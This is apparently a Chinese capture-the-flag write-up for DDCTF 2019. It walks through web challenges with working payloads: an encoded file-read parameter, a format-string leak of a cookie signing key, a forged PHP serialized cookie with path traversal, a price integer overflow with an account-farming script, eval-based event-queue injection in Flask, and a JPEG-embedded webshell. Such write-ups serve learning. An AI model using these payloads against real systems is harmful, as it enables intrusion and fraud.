Web
滴~
对于这个题,无话可说,我只想打死出题人。
Url:
访问,得到如下界面:
此时,url跳转为:
1 http:// 117.51 .150.246 /index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
将 TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 进行两次base64,再从16进制转成ascii,得到flag.jpg。
可以推出存在文件包含/源码泄漏。
读取 index.php 源码。
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (E_ALL || ~E_NOTICE);header ('content-type:text/html;charset=utf-8' );if (! isset ($_GET ['jpg' ])) header ('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09' );$file = hex2bin (base64_decode (base64_decode ($_GET ['jpg' ])));echo '<title>' .$_GET ['jpg' ].'</title>' ;$file = preg_replace ("/[^a-zA-Z0-9.]+/" ,"" , $file );echo $file .'</br>' ;$file = str_replace ("config" ,"!" , $file );echo $file .'</br>' ;$txt = base64_encode (file_get_contents ($file ));echo "<img src='data:image/gif;base64," .$txt ."'></img>" ;?>
得到一个CSDN博客的链接,访问发现发文日期是 2018年06月07日 23:58:02 ,而注释中的日期是July 4,2018。
故找到博主在该日期发的blog。
是这篇:vim 异常退出 swp文件提示
读完整篇文章,是关于vim缓存的swp文件。全文主要提及的示例文件为 .practice.txt.swp 。
访问:
1 http ://117.51.150.246 /.practice.txt.swp [404]
试了各种swo,swn等等均404。
最后,正确链接应为(出题人biss ):
1 http:// 117.51 .150.246 /practice.txt.swp
得到flag文件地址 f1ag!ddctf.php 。
利用源码读取的漏洞,读取源码。
f1ag!ddctf.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include ('config.php' );$k = 'hello' ;extract ($_GET );if (isset ($uid )) { $content =trim (file_get_contents ($k )); if ($uid ==$content ) { echo $flag ; } else { echo 'hello' ; } }?>
读取 hello ,发现为空。
所以uid留空即可。
1 http:// 117.51 .150.246 /f1ag!ddctf.php?uid=
Get the Flag:
1 DDCTF {436 f6e67726174756c6174696f6e73}
WEB签到题
Url:
1 http:// 117.51 .158.44 /index.php
访问后,提示:
分析页面源代码,找到 /js/index.js 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function auth ( ) { $.ajax ({ type : "post" , url :"http://117.51.158.44/app/Auth.php" , contentType : "application/json;charset=utf-8" , dataType : "json" , beforeSend : function (XMLHttpRequest ) { XMLHttpRequest .setRequestHeader ("didictf_username" , "" ); }, success : function (getdata ) { console .log (getdata); if (getdata.data !== '' ) { document .getElementById ('auth' ).innerHTML = getdata.data ; } },error :function (error ){ console .log (error); } }); }
添加Header:
得到:
1 您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh .php
访问app/fL2XID2i0Cdh.php,发现是代码审计。
源代码如下:
url:app/Application.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 Class Application { var $path = '' ; public function response ($data , $errMsg = 'success' ) { $ret = ['errMsg' => $errMsg , 'data' => $data ]; $ret = json_encode ($ret ); header ('Content-type: application/json' ); echo $ret ; } public function auth ( ) { $DIDICTF_ADMIN = 'admin' ; if (!empty ($_SERVER ['HTTP_DIDICTF_USERNAME' ]) && $_SERVER ['HTTP_DIDICTF_USERNAME' ] == $DIDICTF_ADMIN ) { $this ->response ('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php' ); return TRUE ; }else { $this ->response ('抱歉,您没有登陆权限,请获取权限后访问-----' ,'error' ); exit (); } } private function sanitizepath ($path ) { $path = trim ($path ); $path =str_replace ('../' ,'' ,$path ); $path =str_replace ('..\\' ,'' ,$path ); return $path ; }public function __destruct ( ) { if (empty ($this ->path)) { exit (); }else { $path = $this ->sanitizepath ($this ->path); if (strlen ($path ) !== 18 ) { exit (); } $this ->response ($data =file_get_contents ($path ),'Congratulations' ); } exit (); } }
url:app/Session.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 include 'Application.php' ;class Session extends Application { var $eancrykey = '' ; var $cookie_expiration = 7200 ; var $cookie_name = 'ddctf_id' ; var $cookie_path = '' ; var $cookie_domain = '' ; var $cookie_secure = FALSE ; var $activity = "DiDiCTF" ; public function index ( ) { if (parent ::auth ()) { $this ->get_key (); if ($this ->session_read ()) { $data = 'DiDI Welcome you %s' ; $data = sprintf ($data ,$_SERVER ['HTTP_USER_AGENT' ]); parent ::response ($data ,'sucess' ); }else { $this ->session_create (); $data = 'DiDI Welcome you' ; parent ::response ($data ,'sucess' ); } } } private function get_key ( ) { $this ->eancrykey = file_get_contents ('../config/key.txt' ); } public function session_read ( ) { if (empty ($_COOKIE )) { return FALSE ; } $session = $_COOKIE [$this ->cookie_name]; if (!isset ($session )) { parent ::response ("session not found" ,'error' ); return FALSE ; } $hash = substr ($session ,strlen ($session )-32 ); $session = substr ($session ,0 ,strlen ($session )-32 ); if ($hash !== md5 ($this ->eancrykey.$session )) { parent ::response ("the cookie data not match" ,'error' ); return FALSE ; } $session = unserialize ($session ); if (!is_array ($session ) OR !isset ($session ['session_id' ]) OR !isset ($session ['ip_address' ]) OR !isset ($session ['user_agent' ])){ return FALSE ; } if (!empty ($_POST ["nickname" ])) { $arr = array ($_POST ["nickname" ],$this ->eancrykey); $data = "Welcome my friend %s" ; foreach ($arr as $k => $v ) { $data = sprintf ($data ,$v ); } parent ::response ($data ,"Welcome" ); } if ($session ['ip_address' ] != $_SERVER ['REMOTE_ADDR' ]) { parent ::response ('the ip addree not match' .'error' ); return FALSE ; } if ($session ['user_agent' ] != $_SERVER ['HTTP_USER_AGENT' ]) { parent ::response ('the user agent not match' ,'error' ); return FALSE ; } return TRUE ; } private function session_create ( ) { $sessionid = '' ; while (strlen ($sessionid ) < 32 ) { $sessionid .= mt_rand (0 ,mt_getrandmax ()); } $userdata = array ( 'session_id' => md5 (uniqid ($sessionid ,TRUE )), 'ip_address' => $_SERVER ['REMOTE_ADDR' ], 'user_agent' => $_SERVER ['HTTP_USER_AGENT' ], 'user_data' => '' , ); $cookiedata = serialize ($userdata ); $cookiedata = $cookiedata .md5 ($this ->eancrykey.$cookiedata ); $expire = $this ->cookie_expiration + time (); setcookie ( $this ->cookie_name, $cookiedata , $expire , $this ->cookie_path, $this ->cookie_domain, $this ->cookie_secure ); } }$ddctf = new Session ();$ddctf ->index ();
可以看出这是一个php反序列化漏洞,但是cookie使用eancrykey签名,我们必须得到eancrykey才能通过验证。
再看这段代码:
1 2 3 4 5 6 7 8 if (!empty ($_POST ["nickname" ])) { $arr = array ($_POST ["nickname" ],$this ->eancrykey); $data = "Welcome my friend %s" ; foreach ($arr as $k => $v ) { $data = sprintf ($data ,$v ); } parent ::response ($data ,"Welcome" ); }
可以看出这是一个字符串格式化,故,我们将nickname设置为 %s ,即可将eancrykey打印出来。
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /app/Session.php HTTP/1 .1 Host : 117.51.158.44 Pragma : no-cacheCache -Control: no-cacheUpgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/73 .0 .3683 .86 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3Accept -Encoding: gzip, deflateAccept -Language: zh-CN,zh;q=0 .9 ,en;q=0 .8 Cookie : ddctf_id=a%3 A4%3 A%7 Bs%3 A10%3 A%22 session_id%22 %3 Bs%3 A32%3 A%22 bf8d6b314fa6344d0b92c7c49c2e83bc%22 %3 Bs%3 A10%3 A%22 ip_address%22 %3 Bs%3 A12%3 A%22111 .40 .48 .56 %22 %3 Bs%3 A10%3 A%22 user_agent%22 %3 Bs%3 A114%3 A%22 Mozilla%2 F5.0 +%28 Windows+NT+10 .0 %3 B+Win64%3 B+x64%29 +AppleWebKit%2 F537.36 +%28 KHTML%2 C+like+Gecko%29 +Chrome%2 F73.0 .3683 .86 +Safari%2 F537.36 %22 %3 Bs%3 A9%3 A%22 user_data%22 %3 Bs%3 A0%3 A%22 %22 %3 B%7 D2ca5912a575e254f98a4214b16b51a82didictf_username : adminConnection : closeContent -Type: application/x-www-form-urlencodedContent -Length: 13 nickname =%s
Response:
1 2 3 4 5 6 7 8 HTTP/1.1 200 OKServer : nginx/1.10.3 (Ubuntu)Date : Fri, 12 Apr 2019 08:40:57 GMTContent-Type : application/jsonConnection : closeContent-Length : 364{"errMsg" :"success" ,"data" :"\u60a8\u5f53\u524d\u5f53\u524d\u6743 \u9650 \u4e3a\u7ba1\u7406 \u5458 ----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php" }{"errMsg" :"Welcome" ,"data" :"Welcome my friend EzblrbNS\r \n " }{"errMsg" :"sucess" ,"data" :"DiDI Welcome you Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/73.0.3683.86 Safari\/537.36" }
得到eancrykey为 EzblrbNS 。
然后构造序列化脚本,注意这里需要对"../"和"..\"的替换进行处理,还有保证字符串长度为18。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php Class Application { var $path = '../..././config/flag.txt' ; }$arr = array ( 'session_id' => "032c9b9dae49cfd2d789ad7456c50ba8" , 'ip_address' => "111.40.48.56" , 'user_agent' => "Mozilla/5.0 (Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36 (KHTML,+like+Gecko)+Chrome/73.0.3683.86+Safari/537.36" , 'user_data' => new Application (), );$s = serialize ($arr );echo urlencode ($s .md5 ("EzblrbNS" .$s ));
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /app/Session.php HTTP/1 .1 Host : 117.51.158.44 Pragma : no-cacheCache -Control: no-cacheUpgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows+NT+10 .0 ;+Win64;+x64)+AppleWebKit/537 .36 (KHTML,+like+Gecko)+Chrome/73 .0 .3683 .86 +Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3Accept -Encoding: gzip, deflateAccept -Language: zh-CN,zh;q=0 .9 ,en;q=0 .8 Cookie : ddctf_id=a%3 A4%3 A%7 Bs%3 A10%3 A%22 session_id%22 %3 Bs%3 A32%3 A%22032 c9b9dae49cfd2d789ad7456c50ba8%22 %3 Bs%3 A10%3 A%22 ip_address%22 %3 Bs%3 A12%3 A%22111 .40 .48 .56 %22 %3 Bs%3 A10%3 A%22 user_agent%22 %3 Bs%3 A114%3 A%22 Mozilla%2 F5.0 +%28 Windows%2 BNT%2 B10.0 %3 B%2 BWin64%3 B%2 Bx64%29 %2 BAppleWebKit%2 F537.36 +%28 KHTML%2 C%2 Blike%2 BGecko%29 %2 BChrome%2 F73.0 .3683 .86 %2 BSafari%2 F537.36 %22 %3 Bs%3 A9%3 A%22 user_data%22 %3 BO%3 A11%3 A%22 Application%22 %3 A1%3 A%7 Bs%3 A4%3 A%22 path%22 %3 Bs%3 A24%3 A%22 ..%2 F...%2 F.%2 Fconfig%2 Fflag.txt%22 %3 B%7 D%7 D2d47da5f9cf8faecc976e30318be3800;didictf_username : adminConnection : closeContent -Type: application/x-www-form-urlencodedContent -Length: 13 nickname =%s
Response:
1 2 3 4 5 6 7 8 HTTP/1.1 200 OKServer : nginx/1.10.3 (Ubuntu)Date : Fri, 12 Apr 2019 10:13:39 GMTContent-Type : application/jsonConnection : closeContent-Length : 280{"errMsg" :"success" ,"data" :"\u60a8\u5f53\u524d\u5f53\u524d\u6743 \u9650 \u4e3a\u7ba1\u7406 \u5458 ----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php" }{"errMsg" :"Welcome" ,"data" :"Welcome my friend EzblrbNS\r \n " }{"errMsg" :"Congratulations" ,"data" :"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}" }
Get the Flag:
1 DDCTF {ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}
大吉大利,今晚吃鸡~
Url:
1 http:// 117.51 .147.155 :5050 /index.html#/ login
正常注册登陆,购票支付,余额不足。
发现下单的地方可以修改订单价格。
1 http:// 117.51 .147.155 :5050 /ctf/ api/buy_ticket?ticket_price=2000
将金额改为2147483648,支付的时候服务器报错;改成2147483647,则余额不足。此处应该是将金额溢出为负数或者0或者小于100。
尝试4294967296,支付成功。
进入游戏,只需要移除99个玩家即可。
注册小号,批量获取id和ticket。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import requestsimport datetimeimport timeimport random headers = { 'User-Agent' : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" }class User (object ): def __init__ (self, un, pwd ): self.un = un self.pwd = pwd self.s = requests.Session() def reg (self ): r = self.s.get("http://117.51.147.155:5050/ctf/api/register" , headers=headers, params={ "name" : self.un, "password" : self.pwd }) def order (self ): r = self.s.get("http://117.51.147.155:5050/ctf/api/buy_ticket" , headers=headers, params={ "ticket_price" : 2 **32 , }) self.bill_id = r.json().get('data' )[0 ].get('bill_id' ) def buy (self ): r = self.s.get("http://117.51.147.155:5050/ctf/api/pay_ticket" , headers=headers, params={ "bill_id" : self.bill_id, }) self.id = r.json().get('data' )[0 ].get('your_id' ) self.ticket = r.json().get('data' )[0 ].get('your_ticket' ) def remove (self, ticket, player_id ): r = self.s.get("http://117.51.147.155:5050/ctf/api/remove_robot" , headers=headers, params={ "ticket" : ticket, "id" : player_id, }) print (r.text) def get_flag (self ): r = self.s.get("http://117.51.147.155:5050/ctf/api/get_flag" , headers=headers) return r.text def get_tickct (self ): return {'ticket' : self.ticket, 'id' : self.id }def reg_player (un, pw ): player = User(un, pw) player.reg() time.sleep(0.5 ) try : player.order() time.sleep(0.5 ) player.buy() time.sleep(0.5 ) except : player.ticket = '46f7f7e50b54a636f3aae60dd839590b' player.id = "99999" return playerdef main (): print ("----------Start-----------" ) un = "jzzdz" + str (random.randint(0 , 99999999 )) winner = reg_player(un, "123456aaaaa" ) print ("Reg user: " , un) print ("---------Start Game---------" ) while True : player = reg_player("jzzzd" + str (random.randint(0 , 99999999 )), "123456aaaaa" ) info = player.get_tickct() winner.remove(info['ticket' ], info['id' ]) time.sleep(0.5 ) print ("------------------------------" ) flag = winner.get_flag() print (flag) print ("------------------------------" ) if "DDCTF" in flag: break if __name__ == "__main__" : main()
这服务还会出现重复的id和ticket。。越到后面越慢。最后四个人跑了快半个小时,醉了。
Get the Flag:
homebrew event loop
Url:
1 http:// 116.85 .48.107 :5002 /d5af31f66177e857
分析源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 __author__ = 'garzon' from flask import Flask, session, request, Responseimport urllib app = Flask(__name__) app.secret_key = '*********************' url_prefix = '/d5af31f66177e857' def FLAG (): return 'FLAG_is_here_but_i_wont_show_you' def trigger_event (event ): session['log' ].append(event) if len (session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type (event) == type ([]): request.event_queue += event else : request.event_queue.append(event)def get_mid_str (haystack, prefix, postfix=None ): haystack = haystack[haystack.find(prefix)+len (prefix):] if postfix is not None : haystack = haystack[:haystack.find(postfix)] return haystackclass RollBackException : pass def execute_event_loop (): valid_event_chars = set ('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len (request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] if not event.startswith(('action:' , 'func:' )): continue for c in event: if c not in valid_event_chars: break else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval (action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception, e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp@app.route(url_prefix+'/' ) def entry_point (): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:' )) or len (querystring) > 100 : querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items' ] = 0 session['points' ] = 3 session['log' ] = [] request.prev_session = dict (session) trigger_event(querystring) return execute_event_loop()def view_handler (args ): page = args[0 ] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />' .format (session['num_items' ], session['points' ]) if page == 'index' : html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop' : html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset' : del session['num_items' ] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return htmldef index_handler (args ): bool_show_source = str (args[0 ]) bool_download_source = str (args[1 ]) if bool_show_source == 'True' : source = open ('eventLoop.py' , 'r' ) html = '' if bool_download_source != 'True' : html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True' : html += line.replace('&' ,'&' ).replace('\t' , ' ' *4 ).replace(' ' ,' ' ).replace('<' , '<' ).replace('>' ,'>' ).replace('\n' , '<br />' ) else : html += line source.close() if bool_download_source == 'True' : headers = {} headers['Content-Type' ] = 'text/plain' headers['Content-Disposition' ] = 'attachment; filename=serve.py' return Response(html, headers=headers) else : return html else : trigger_event('action:view;index' )def buy_handler (args ): num_items = int (args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy<br />' .format (args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format (num_items), 'action:view;index' ])def consume_point_function (args ): point_to_consume = int (args[0 ]) if session['points' ] < point_to_consume: raise RollBackException() session['points' ] -= point_to_consumedef show_flag_function (args ): flag = args[0 ] return 'You naughty boy! ;) <br />' def get_flag_handler (args ): if session['num_items' ] >= 5 : trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index' )if __name__ == '__main__' : app.run(debug=False , host='0.0.0.0' )
这段源码实现了一个任务队列,按顺序执行任务并记录最近五个操作。
源码中有个eval,并且可以#注释掉后面的字符串,从而调用我们想要调用的函数。但是这个函数必须要能接收一个list。
一开始,是想着用eval调用FLAG函数,直接把flag打印出来,后来发现行不通,无法解决参数问题。然后想着利用eval将secret_key打印出来,自己构造session,从而调用get_flag_handler,即可在session中读取出flag,后发现在合法字符中也无法将其打印出来。
最后得到正确思路,get_flag_handler要求session['num_items']>=5,而修改session['num_items']的函数是buy_handler。在buy_handler执行结束后,调用consume_point_function,对于buy_handler的参数进行检测,大于3则会抛出RollBackException。故我们可以从中间下手,破坏这个任务队列,在consume_point_function之前就调用get_flag_handler,将flag记录在session中,从而得到flag。
Payload:
1 http ://116.85.48.107:5002 /d5af31f66177e857/?action:trigger_event%23 ;action:buy;5 %23 action:get_flag;
调用trigger_event,即可插入自定义的任务队列,将flag记录在session中。
破解session可以使用下面这个脚本:
Flask-Unsign
破解得到的session:
1 2 flask-unsign --decode --cookie ".eJyNjl9LwzAAxL-K5HkPaeLsUujL0BQGa3C ryx8RaZY5m6VZseumGf3uFkFB5oNvB3f3uzsDt9-C5PEMrjRIgOQ5LDnpmF98lNx4JWYvSiin_b1liFqTuaO2TWXELs6X-avEi0aj6xuFVlAg1Uq-jkE_usDVs2hTtNFgXTjGGUpqnVHPTmkK-qeftvKrTobGajQOhkdO4Omx5GPIwkP6B8mrRol1PCR2Smy_SL9BocwI_n45xxJqOgnG5p2hk_f57fQkEGVqOFPc0WIZEVtA8qaz_44B39XP1WFTtyCBI9DsK38YJO4_AZU1cI8.D5N8_A.KRstbZNCK7q2YsgQ9B-JgBQq4FE" {'log' : [b'action:trigger_event#;action:buy;5#action:get_flag;' , [b'action:buy;5' , b'action:get_flag;' ] , [b'func:consume_point;5' , b'action:view;index' ] , b'func:show_flag;3v4l_3v3nt_100p_aNd_fLASK_cOOkle' , b'action:view;index' ], 'num_items' : 0 , 'points' : 3 }
Get the Flag:
1 DDCTF{3v4l_3v3nt_100p_aNd_fLASK_cOOkle}
Upload-IMG
Url:
1 2 3 4 http: //117.51.148.166/upload .php user:dd@ctf pass:DD@ctf
访问后,上传文件后提示:
1 [Check Error] 上传的图片源代码中未包含指定字符串:phpinfo ()
于是在图片中插入shellcode:
参考Defeating-PHP-GD-imagecreatefromjpeg 。
Google一张gif表情包,上传。将上传后的得到的图片保存到本地,再次上传,并保存新的图片。将两次得到的图片的十六进制编码进行比对,在第一张图片the Scan Header (00 0C 03 01 00 02 11 03 11 00 3F 00)后任意一处相同的位置,修改为shellcode即可。
Get the Flag:
Misc
真-签到题
看公告,Get the Flag:
1 DDCTF{return DDCTF::get(2019 ) -> flagOf(0 );}
Wireshark
将获取到的流量包,放入Wireshark,查看http协议。
查看到两个PNG文件,保存。
钥匙状的图疑似被截图,修改图片高度。
PNG文件信息相关:
1 2 3 4 5 6 7 8 9 - (固定)八个字节89 50 4 E 47 0 D 0 A 1 A 0 A为png的文件头 - (固定)四个字节00 00 00 0 D(即为十进制的13 )代表数据块的长度为13 - (固定)四个字节49 48 44 52 (即为ASCII码的IHDR)是文件头数据块的标示(IDCH) - (可变)13 位数据块(IHDR) - 前四个字节代表该图片的宽 - 后四个字节代表该图片的高 - 后五个字节依次为: Bit depth、ColorType、Compression method 、Filter method 、Interlace method - (可变)剩余四字节为该png 的CRC 检验码,由从IDCH 到IHDR 的十七位字节进行crc 计算得到。
修改后得到:
Key:
分析流量包时,发现一条get请求。
1 http:// tools.jb51.net/aideddesign/img _add_info
发现是图片解密网站,将key输入并上传另一张图,解密,得到:
1 flag +AHs-44444354467 B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D+AH0-
将中间的字段从十六进制转为ascii。
Get the Flag:
1 DDCTF {NbuiBUlR5lhww2OfpEmueZd64OlRJ1D2}